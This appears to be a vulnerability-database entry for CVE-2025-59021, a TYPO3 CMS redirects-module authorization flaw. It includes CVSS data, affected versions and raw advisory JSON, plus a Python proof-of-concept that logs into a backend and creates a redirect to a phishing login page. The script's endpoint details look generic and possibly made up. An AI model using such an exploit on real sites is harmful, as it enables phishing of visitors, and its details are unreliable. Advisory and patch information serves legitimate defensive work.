Security Vulnerability Report
中文
CVE-2025-59021 CVSS 6.4 MEDIUM

CVE-2025-59021

Published: 2026-01-13 12:15:50
Last Modified: 2026-01-14 19:14:36
Source: f4fb688c-4412-4426-b4b8-421ecf27b14a

Description

Backend users with access to the redirects module and write permission on the sys_redirect table were able to read, create, and modify any redirect record without restriction to the user’s own file-mounts or web-mounts. This allowed attackers to insert or alter redirects pointing to arbitrary URLs – facilitating phishing or other malicious redirect attacks. This issue affects TYPO3 CMS versions 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 and 14.0.0-14.0.1.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:* - VULNERABLE
TYPO3 CMS 10.0.0 - 10.4.54
TYPO3 CMS 11.0.0 - 11.5.48
TYPO3 CMS 12.0.0 - 12.4.40
TYPO3 CMS 13.0.0 - 13.4.22
TYPO3 CMS 14.0.0 - 14.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59021 PoC - TYPO3 CMS Redirect Module Privilege Escalation # This PoC demonstrates the privilege bypass in redirects module # Note: Requires valid backend user with redirects module access and write permission on sys_redirect table import requests import json TARGET_URL = "http://target-typo3-site.com" USERNAME = "attacker_account" PASSWORD = "password" def exploit_cve_2025_59021(): """ Exploit steps: 1. Authenticate to TYPO3 backend 2. Access redirects module 3. Create malicious redirect pointing to arbitrary URL 4. Verify redirect was created without mount point restrictions """ session = requests.Session() # Step 1: Backend authentication login_url = f"{TARGET_URL}/typo3/index.php" credentials = { "userident": PASSWORD, "username": USERNAME, "login_status": "login" } session.post(login_url, data=credentials) # Step 2: Access redirects module and bypass mount point restrictions redirects_api = f"{TARGET_URL}/typo3/ajax.php" headers = { "X-TYPO3-Command": "Record", "Content-Type": "application/json" } # Step 3: Create malicious redirect without restriction malicious_redirect = { "table": "sys_redirect", "cmd": "create", "data": { "source_domain": "legitimate-site.com", "source_path": "/important-page", "target_url": "https://phishing-site.com/fake-login", "target_statuscode": 302, "force_ssl": 0, "hitcount": 0 } } # The vulnerability allows this operation without checking user's mount points response = session.post( redirects_api, headers=headers, data=json.dumps(malicious_redirect) ) # Step 4: Verify created redirect is not limited to user's mounts if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Malicious redirect created successfully!") print("[*] Bypassed mount point restrictions") print(f"[*] Redirect ID: {result.get('uid')}") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_cve_2025_59021()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59021", "sourceIdentifier": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "published": "2026-01-13T12:15:50.083", "lastModified": "2026-01-14T19:14:35.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Backend users with access to the redirects module and write permission on the sys_redirect table were able to read, create, and modify any redirect record without restriction to the user’s own file-mounts or web-mounts. This allowed attackers to insert or alter redirects pointing to arbitrary URLs – facilitating phishing or other malicious redirect attacks. This issue affects TYPO3 CMS versions 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 and 14.0.0-14.0.1."}, {"lang": "es", "value": "Usuarios de backend con acceso al módulo de redirecciones y permiso de escritura en la tabla sys_redirect pudieron leer, crear y modificar cualquier registro de redirección sin restricción a los propios montajes de archivos o montajes web del usuario. Esto permitió a los atacantes insertar o alterar redirecciones que apuntaban a URLs arbitrarias – facilitando phishing u otros ataques de redirección maliciosos. Este problema afecta a las versiones de TYPO3 CMS 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 y 14.0.0-14.0.1."}], "metrics": {"cvssMetricV40": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.4.55", "matchCriteriaId": "1F66D2E5-38C1-4708-BBEA-6963B2AFEA8B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.5.49", "matchCriteriaId": "9E718BBF-B384-4223-A53D-528F77E17DC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.4.41", "matchCriteriaId": "D330992D-8C99-458A-A139-47407B4BBB66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.4.23", "matchCriteriaId": "AA2179C6-E438-4413-A717-9112618BA6CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.2", "matchCriteriaId": "310C5FCB-6F96-4409-BB9A-E582E18E067A"}]}]}], "references": [{"url": "https://github.com/TYPO3/typo3/commit/8a46abd8993e3a5a31a834dcd6c8f91adef57ce4", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/bac370df5c1c3fcf5ebc1c030fbd2bec86d6a686", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/fbbae3b9a40d0420207e ... (truncated)